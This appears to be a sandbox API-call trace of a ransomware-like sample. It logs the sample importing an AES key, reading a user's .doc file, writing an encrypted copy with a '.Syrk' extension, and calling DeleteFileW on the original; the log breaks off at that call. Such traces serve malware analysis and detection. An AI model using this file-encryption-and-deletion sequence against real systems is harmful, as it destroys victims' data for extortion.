SystemFunction040 (in: Memory=0x5c9215c, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c9215c) returned 0x0 [0221.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0221.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0221.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x28 [0221.366] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製∍) returned 0x30 [0221.366] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.366] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN셳㻶벗颯軠삳") returned 0x30 [0221.367] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0221.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製昍仼먻표䥥芁鼶≙) returned 0x30 [0221.367] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2㻶벗颯軠삳") returned 0x30 [0221.367] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0221.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製儍\䥒쿲\쫛⊠) returned 0x30 [0221.367] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.367] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q㻶벗颯軠삳") returned 0x30 [0221.367] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.367] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0221.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製꼍裴챞䫱鑚ꖸ⊽) returned 0x30 [0221.368] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0221.368] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.368] EtwEventActivityIdControl () returned 0x0 [0221.368] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ䡡㢞碄퀷錮製⼍ႅ⳦㴴Ɉ꭮∇) returned 0x30 [0221.368] SystemFunction041 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.368] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2JhN2Q=벗颯軠삳") returned 0x30 [0221.368] SystemFunction040 (in: Memory=0x5c92e24, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e24) returned 0x0 [0221.370] CryptAcquireContextW (in: phProv=0x5a2e5d0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x5a2e5d0*=0x5c4d188) returned 1 [0221.372] CryptImportKey (in: hProv=0x5c4d188, pbData=0x24e721c*, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x1, phKey=0x5a2e9c4 | out: phKey=0x5a2e9c4*=0x5c69180) returned 1 [0221.373] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0221.373] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.373] EtwEventActivityIdControl () returned 0x0 [0221.373] EtwEventActivityIdControl () returned 0x0 [0221.373] EtwEventActivityIdControl () returned 0x0 [0221.381] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0221.383] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0221.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.383] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.383] EtwEventActivityIdControl () returned 0x0 [0221.384] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.384] EtwEventActivityIdControl () returned 0x0 [0221.384] EtwEventActivityIdControl () returned 0x0 [0221.384] EtwEventActivityIdControl () returned 0x0 [0221.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.385] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.385] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0221.386] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x454 [0221.386] GetFileType (hFile=0x454) returned 0x1 [0221.386] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0221.386] GetFileType (hFile=0x454) returned 0x1 [0221.386] EtwEventActivityIdControl () returned 0x0 [0221.387] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.387] EtwEventActivityIdControl () returned 0x0 [0221.387] EtwEventActivityIdControl () returned 0x0 [0221.388] EtwEventActivityIdControl () returned 0x0 [0221.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x51 [0221.389] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", nBufferLength=0x51, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk", lpFilePart=0x0) returned 0x50 [0221.389] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e070) returned 1 [0221.389] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc.Syrk" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc.syrk"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x458 [0221.391] GetFileType (hFile=0x458) returned 0x1 [0221.391] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e06c) returned 1 [0221.391] GetFileType (hFile=0x458) returned 0x1 [0221.391] EtwEventActivityIdControl () returned 0x0 [0221.391] CryptGenRandom (in: hProv=0x5c4d188, dwLen=0x10, pbBuffer=0x24fc59c | out: pbBuffer=0x24fc59c) returned 1 [0221.392] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0221.393] CryptDuplicateKey (in: hKey=0x5c69180, pdwReserved=0x0, dwFlags=0x0, phKey=0x5a2e774 | out: phKey=0x5a2e774*=0x5c69140) returned 1 [0221.393] CryptContextAddRef (hProv=0x5c4d188, pdwReserved=0x0, dwFlags=0x0) returned 1 [0221.393] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x4, pbData=0x24fdab4*=0x1, dwFlags=0x0) returned 1 [0221.393] CryptSetKeyParam (hKey=0x5c69140, dwParam=0x1, pbData=0x24fda80, dwFlags=0x0) returned 1 [0221.393] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.393] EtwEventActivityIdControl () returned 0x0 [0221.393] EtwEventActivityIdControl () returned 0x0 [0221.393] EtwEventActivityIdControl () returned 0x0 [0221.394] EtwEventActivityIdControl () returned 0x0 [0221.395] ReadFile (in: hFile=0x454, lpBuffer=0x2500768, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e780, lpOverlapped=0x0 | out: lpBuffer=0x2500768*, lpNumberOfBytesRead=0x5a2e780*=0x456b, lpOverlapped=0x0) returned 1 [0221.446] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2514780*, pdwDataLen=0x5a2e774*=0x4560, dwBufLen=0x4560 | out: pbData=0x2514780*, pdwDataLen=0x5a2e774*=0x4560) returned 1 [0221.446] WriteFile (in: hFile=0x458, lpBuffer=0x24fc74c*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x5a2e758, lpOverlapped=0x0 | out: lpBuffer=0x24fc74c*, lpNumberOfBytesWritten=0x5a2e758*=0x1000, lpOverlapped=0x0) returned 1 [0221.450] WriteFile (in: hFile=0x458, lpBuffer=0x251576c*, nNumberOfBytesToWrite=0x3574, lpNumberOfBytesWritten=0x5a2e758, lpOverlapped=0x0 | out: lpBuffer=0x251576c*, lpNumberOfBytesWritten=0x5a2e758*=0x3574, lpOverlapped=0x0) returned 1 [0221.450] ReadFile (in: hFile=0x454, lpBuffer=0x2500768, nNumberOfBytesToRead=0x14000, lpNumberOfBytesRead=0x5a2e780, lpOverlapped=0x0 | out: lpBuffer=0x2500768*, lpNumberOfBytesRead=0x5a2e780*=0x0, lpOverlapped=0x0) returned 1 [0221.451] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2518d3c*, pdwDataLen=0x5a2e7cc*=0x10, dwBufLen=0x10 | out: pbData=0x2518d3c*, pdwDataLen=0x5a2e7cc*=0x10) returned 1 [0221.451] CryptEncrypt (in: hKey=0x5c69140, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2518d58*, pdwDataLen=0x5a2e7d4*=0x0, dwBufLen=0x10 | out: pbData=0x2518d58*, pdwDataLen=0x5a2e7d4*=0x10) returned 1 [0221.451] WriteFile (in: hFile=0x458, lpBuffer=0x24fc74c*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x5a2e7a4, lpOverlapped=0x0 | out: lpBuffer=0x24fc74c*, lpNumberOfBytesWritten=0x5a2e7a4*=0x10, lpOverlapped=0x0) returned 1 [0221.451] CloseHandle (hObject=0x458) returned 1 [0221.455] CloseHandle (hObject=0x454) returned 1 [0221.455] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e438, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0221.456] EtwEventActivityIdControl () returned 0x0 [0221.456] EtwEventActivityIdControl () returned 0x0 [0221.456] EtwEventActivityIdControl () returned 0x0 [0221.463] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0221.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.467] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.467] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0221.468] GetFileAttributesW (lpFileName="C:\\" (normalized: "c:")) returned 0x16 [0221.468] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4 [0221.468] GetFullPathNameW (in: lpFileName="C:\\", nBufferLength=0x4, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\", lpFilePart=0x0) returned 0x3 [0221.468] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0221.468] GetFileAttributesW (lpFileName="C:\\Users" (normalized: "c:\\users")) returned 0x11 [0221.468] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x9 [0221.468] GetFullPathNameW (in: lpFileName="C:\\Users", nBufferLength=0x9, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users", lpFilePart=0x0) returned 0x8 [0221.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0221.468] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj" (normalized: "c:\\users\\keecfmwgj")) returned 0x10 [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x13 [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj", nBufferLength=0x13, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj", lpFilePart=0x0) returned 0x12 [0221.469] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0221.469] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents" (normalized: "c:\\users\\keecfmwgj\\documents")) returned 0x11 [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x1d [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents", nBufferLength=0x1d, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents", lpFilePart=0x0) returned 0x1c [0221.469] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0221.469] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30")) returned 0x10 [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x25 [0221.469] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", nBufferLength=0x25, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30", lpFilePart=0x0) returned 0x24 [0221.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0221.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq")) returned 0x10 [0221.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0221.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", nBufferLength=0x2c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ", lpFilePart=0x0) returned 0x2b [0221.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0221.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v")) returned 0x10 [0221.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0221.470] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", nBufferLength=0x37, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V", lpFilePart=0x0) returned 0x36 [0221.470] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0221.471] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0")) returned 0x10 [0221.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x43 [0221.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", nBufferLength=0x43, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0", lpFilePart=0x0) returned 0x42 [0221.471] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0221.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.471] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e56c) returned 1 [0221.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.475] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc\\*" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc\\*"), lpFindFileData=0x5a2e31c | out: lpFindFileData=0x5a2e31c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0221.475] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e2dc) returned 1 [0221.475] CoTaskMemAlloc (cb=0x404) returned 0x5c99488 [0221.475] FormatMessageW (in: dwFlags=0x3200, lpSource=0x0, dwMessageId=0x10b, dwLanguageId=0x0, lpBuffer=0x5c99488, nSize=0x200, Arguments=0x0 | out: lpBuffer="The directory name is invalid.\r\n") returned 0x20 [0221.476] CoTaskMemFree (pv=0x5c99488) [0221.479] GetFileAttributesW (lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc")) returned 0x20 [0221.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x4c [0221.479] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", nBufferLength=0x4c, lpBuffer=0x3e84f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc", lpFilePart=0x0) returned 0x4b [0221.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e234) returned 1 [0221.479] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Documents\\gADgp30\\qJEcmQ\\9bDYANhq-V\\tirKK9 byo0\\dP47.doc" (normalized: "c:\\users\\keecfmwgj\\documents\\gadgp30\\qjecmq\\9bdyanhq-v\\tirkk9 byo0\\dp47.doc"), fInfoLevelId=0x0, lpFileInformation=0x252af78 | out: lpFileInformation=0x252af78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc5bede80, ftCreationTime.dwHighDateTime=0x1d9987b, ftLastAccessTime.dwLowDateTime=0x44b78f80, ftLastAccessTime.dwHighDateTime=0x1d99d08, ftLastWriteTime.dwLowDateTime=0x44b78f80, ftLastWriteTime.dwHighDateTime=0x1d99d08, nFileSizeHigh=0x0, nFileSizeLow=0x456b)) returned 1 [0221.479] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x5a2e230) returned 1 [0221.479] DeleteFileW 